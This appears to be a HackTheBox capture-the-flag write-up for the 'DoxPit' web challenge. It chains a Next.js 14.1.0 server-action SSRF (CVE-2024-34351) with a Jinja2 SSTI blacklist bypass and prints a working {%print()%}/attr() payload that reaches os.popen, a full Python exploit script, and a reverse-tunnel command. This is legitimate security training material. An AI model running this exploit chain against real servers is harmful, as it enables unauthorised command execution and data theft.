DoxPit
DoxPit
Platform: HackTheBox | Category: Web | Type: Challenge | Difficulty: Medium | OS: NA | Author: D3v0o0Nu11 | Date: 2026-05-19 | Status: Solved Techniques: attr_filter_chain, host_header_injection, jinja2_ssti_statement_tag_bypass, localhost_run_reverse_tunnel, nextjs_server_action_ssrf, request_args_parameter_passing
Summary
Task: Next.js 14.1.0 front-end with internal Flask AV scanner; CVE-2024-34351 SSRF in server actions plus Jinja2 SSTI with blacklist bypass. Solution: forge Host header to trigger SSRF via server action redirect, register user on internal Flask service, exploit render_template_string with {%print()%} and attr() filter chain to read flag.
Recon
Port scan
nmap -p- -sV -sC <TARGET> --min-rate 1000 -Pn
| Port | Service | Version | Notes |
|---|---|---|---|
| <PORT> | <SVC> | <VER> | <notes> |
Enumeration highlights
- Event:
hackthebox| ID:20260519_hackthebox_doxpit - Tags: flask, ssrf, docker, ssti, jinja2, reverse_tunnel, blacklist_bypass, nextjs, server_actions, render_template_string, cve_2024_34351, supervisord
- Indicators: next@14.1.0 in package.json, server action with redirect() to relative path, render_template_string() with string replacement before rendering, blacklist filtering {{ }} . _ [ ] \ x but not {% %}, internal service not exposed externally (only port 1337 exposed)
- Source:
20260519_hackthebox_doxpit.md
Foothold
Vulnerability / Misconfiguration
- Attr_filter_chain
- Host_header_injection
- Jinja2_ssti_statement_tag_bypass
- Localhost_run_reverse_tunnel
- Nextjs_server_action_ssrf
<command>
Exploitation
- See original writeup content for detailed exploitation.
Privilege Escalation
Enumeration
sudo -l find / -perm -4000 2>/dev/null getcap -r / 2>/dev/null cat /etc/crontab ps aux
Exploitation
- N/A for challenge-type writeup; see exploitation above.
- Flag obtained via challenge solve.
<command>
Flags
| Flag | Location | Value |
|---|---|---|
| flag | REDACTED |
Key Takeaways / Lessons
- attr_filter_chain
- host_header_injection
- jinja2_ssti_statement_tag_bypass
- localhost_run_reverse_tunnel
- nextjs_server_action_ssrf
- request_args_parameter_passing
- Tags: flask, ssrf, docker, ssti, jinja2, reverse_tunnel, blacklist_bypass, nextjs, server_actions, render_template_string, cve_2024_34351, supervisord
Original Writeup
<details><summary>Click to expand original content</summary>DoxPit — HackTheBox
Description
The owner of famous underground forum doxpit has been allegedly kidnapped, now that turmoil ensues it is the right time to strike and take down this appalling operation.
A Docker container runs two services via supervisord: a Next.js 14.1.0 front-end on port 1337 (the only externally exposed port) serving a static "doxpit" paste forum UI, and an internal Flask 3.0.3 "AV scanner" service on port 3000 that is not directly reachable from outside. The flag is at /flag<random10hex>.txt, renamed at startup via entrypoint.sh.
Analysis
Architecture
The Dockerfile reveals the dual-service setup:
- Next.js (
next@14.1.0) on port 1337 — the onlyEXPOSEd port - Flask (
flask==3.0.3) on port 3000 — internal only
# supervisord.conf
[program:next]
command=npm start
directory=/app/front-end
[program:av]
command=python3 run.py
directory=/app/av
The front-end is entirely static — no API calls, no proxy to Flask. It's a decoy. The real attack surface is the internal Flask service, reachable only via SSRF.
Stage 1: Next.js Server Action SSRF (CVE-2024-34351)
Next.js 14.1.0 has a known SSRF vulnerability in server actions. When a server action calls redirect("/error") (a relative path starting with /), Next.js internally constructs a fetch URL as ${proto}://${host}${basePath}${redirectUrl}, where host comes from the client's Host header.
The front-end has a server action in app/serverActions.tsx:
"use server";
import { redirect } from "next/navigation";
export async function doRedirect() {
redirect("/error");
}
The action ID is embedded in the homepage HTML as $ACTION_ID_0b0da34c9bad83debaebc8b90e4d5ec7544ca862.
The SSRF becomes a full-read SSRF through a two-step dance:
- Next.js first sends a HEAD request to the attacker's server. If the response has
Content-Type: text/x-component, it proceeds. - Next.js then sends a GET request. The attacker's server responds with a 302 redirect to the real internal target. Next.js follows the redirect and returns the full response body to the caller.
Stage 2: Internal Flask user registration via SSRF
The Flask app at 127.0.0.1:3000 has a /register endpoint that accepts GET parameters:
@web.route("/register", methods=["GET"])
def register():
username = request.args.get("username")
password = request.args.get("password")
# ...
token = generate(16)
db_session.create_user(username, password, token)
return render_template("error.html", title="success",
error=f"User created with token: {token}"), 200
The SSRF is used to hit http://127.0.0.1:3000/register?username=pwn&password=pwn and extract the 32-hex token from the response HTML.
The token authenticates to /home via ?token=<token> — the auth_middleware checks request.args.get("token") against the database.
Stage 3: Jinja2 SSTI with blacklist bypass
The /home route has a critical vulnerability:
@web.route("/home", methods=["GET", "POST"])
@auth_middleware
def feed():
directory = request.args.get("directory")
# ...
with open("./application/templates/scan.html", "r") as file:
template_content = file.read()
results = scan_directory(directory)
template_content = template_content.replace("{{ results.date }}", results["date"])
template_content = template_content.replace("{{ results.scanned_directory }}",
results["scanned_directory"])
return render_template_string(template_content, results=results)
The scanned_directory value comes directly from the user-supplied directory parameter and is string-replaced into the template before render_template_string() is called — a classic SSTI injection point.
There is a blacklist in general.py:
invalid_chars = ["{{", "}}", ".", "_", "[", "]", "\\", "x"]
Bypass technique:
- Use
{%print(...)%}instead of{{...}}— statement tags are not blocked - Use
|attr()filter instead of.dot access - Pass
__globals__and the command viarequest.argsto avoid_andxin the directory parameter
Final SSTI payload:
{%print(lipsum|attr(request|attr('args')|attr('get')('g'))|attr('get')('os')|attr('popen')(request|attr('args')|attr('get')('c'))|attr('read')())%}
With additional query parameters: &g=__globals__&c=cat /flag*
This works because:
lipsumis a Jinja2 global (the Lorem Ipsum generator) that has__globals__containing theosmodulerequest|attr('args')|attr('get')('g')retrieves the string__globals__from query params (avoiding_in the directory value)request|attr('args')|attr('get')('c')retrievescat /flag*(avoidingxfromtxt)
Solution
The exploit chains all three stages automatically:
#!/usr/bin/env python3
import argparse
import html
import random
import re
import string
import threading
import time
import urllib.error
import urllib.parse
import urllib.request
from http.server import BaseHTTPRequestHandler, HTTPServer
ACTION_RE = re.compile(r"\$ACTION_ID_([0-9a-f]{40})")
TOKEN_RE = re.compile(r"User created with token: ([0-9a-f]{32})")
FLAG_RE = re.compile(r"HTB\{[^}]+\}")
class RedirectHandler(BaseHTTPRequestHandler):
target = None
def do_HEAD(self):
self.send_response(200)
self.send_header("Content-Type", "text/x-component")
self.end_headers()
def do_GET(self):
self.send_response(302)
self.send_header("Location", self.target)
self.end_headers()
def log_message(self, *_args):
return
def fetch(url, *, method="GET", headers=None, data=None):
req = urllib.request.Request(url, method=method, headers=headers or {}, data=data)
try:
with urllib.request.urlopen(req, timeout=20) as resp:
return resp.read().decode(errors="replace")
except urllib.error.HTTPError as exc:
return exc.read().decode(errors="replace")
def scrape_action_id(base_url):
body = fetch(base_url)
match = ACTION_RE.search(body)
if not match:
raise RuntimeError("could not find Next server action ID in homepage HTML")
return match.group(1)
def trigger_ssrf(base_url, action_id, host_header):
headers = {
"Host": host_header,
"Next-Action": action_id,
"Accept": "text/x-component",
"Content-Type": "text/plain",
}
return fetch(base_url, method="POST", headers=headers, data=b"{}")
def randstr(length=8):
return "".join(random.choice(string.ascii_lowercase) for _ in range(length))
def start_helper(listen, port):
server = HTTPServer((listen, port), RedirectHandler)
thread = threading.Thread(target=server.serve_forever, daemon=True)
thread.start()
time.sleep(0.2)
return server
def build_url(base, params):
return f"{base}?{urllib.parse.urlencode(params)}"
def main():
parser = argparse.ArgumentParser(
description="Exploit DoxPit via Next.js SSRF -> internal Flask SSTI")
parser.add_argument("base_url",
help="Public challenge URL, e.g. http://94.237.x.x:12345/")
parser.add_argument("--listen", default="127.0.0.1",
help="Local helper bind address")
parser.add_argument("--port", type=int, default=8000,
help="Local helper bind port")
parser.add_argument("--public-host", default=None,
help="Host:port visible to target (use tunnel domain here)")
parser.add_argument("--internal-base", default="http://127.0.0.1:3000",
help="Internal Flask base URL")
parser.add_argument("--command", default="cat /flag*",
help="Command to execute via SSTI")
args = parser.parse_args()
base_url = args.base_url.rstrip("/") + "/"
action_id = scrape_action_id(base_url)
print(f"[+] action id: {action_id}")
helper = start_helper(args.listen, args.port)
host_header = args.public_host or f"{args.listen}:{args.port}"
print(f"[+] helper host header: {host_header}")
# Stage 2: Register user on internal Flask via SSRF
username = f"pwn_{randstr()}"
password = randstr(12)
register_url = build_url(
f"{args.internal_base}/register",
{"username": username, "password": password},
)
RedirectHandler.target = register_url
register_resp = trigger_ssrf(base_url, action_id, host_header)
token_match = TOKEN_RE.search(register_resp)
if not token_match:
raise RuntimeError("could not extract token from SSRF register response")
token = token_match.group(1)
print(f"[+] token: {token}")
# Stage 3: SSTI to read flag
payload = ("{%print(lipsum|attr(request|attr('args')|attr('get')('g'))"
"|attr('get')('os')"
"|attr('popen')(request|attr('args')|attr('get')('c'))"
"|attr('read')())%}")
home_url = build_url(
f"{args.internal_base}/home",
{
"token": token,
"g": "__globals__",
"c": args.command,
"directory": payload,
},
)
RedirectHandler.target = home_url
flag_resp = trigger_ssrf(base_url, action_id, host_header)
flag_match = FLAG_RE.search(html.unescape(flag_resp))
if not flag_match:
raise RuntimeError("flag not found in final response")
print(f"[+] flag: {flag_match.group(0)}")
helper.shutdown()
if __name__ == "__main__":
main()
Running the exploit
The helper server needs to be reachable from the target container. A localhost.run SSH reverse tunnel exposes the local helper publicly:
ssh -R 80:127.0.0.1:8000 nokey@localhost.run 2>&1 | tee localhostrun.log & # Wait for tunnel URL, e.g. d90f5f78134b82.lhr.life python3 solve.py http://TARGET:PORT/ --public-host d90f5f78134b82.lhr.life
Output:
[+] action id: 0b0da34c9bad83debaebc8b90e4d5ec7544ca862
[+] helper host header: d90f5f78134b82.lhr.life
[+] token: ff152f7d1b6b52fcef520a8f8ad83b6b
[+] flag: HTB{REDACTED}
What didn't work
- The front-end is entirely static (no API calls, no fetch, no proxy to Flask) — it's a decoy
- Webhook.site free tier doesn't support method-specific responses (needed HEAD vs GET differentiation)
- Direct access to Flask port 3000 is not possible from outside the container
Auto-tracked: saved to WriteUps; run
/xesor-reviseto fold lessons into XESXor_Methodology.md.
signed by XESXOR